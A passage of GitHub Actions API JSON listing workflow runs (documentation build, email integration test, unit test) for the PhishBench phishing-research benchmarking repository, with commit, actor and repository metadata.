Sers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038558,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nEvle","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Documentation.yml","display_title":"Update docs (#332)","run_number":85,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7681724842,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3Rqg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038558","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T10:44:33Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724842","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038557,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nEvld","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Email_Integration_Test.yml","display_title":"Update docs (#332)","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7681724841,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3RqQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038557","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T11:06:01Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724841","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038556,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nEvlc","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Unit_Test.yml","display_title":"Update docs (#332)","run_number":243,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7681724843,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3Rqw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038556","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T10:48:48Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724843","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_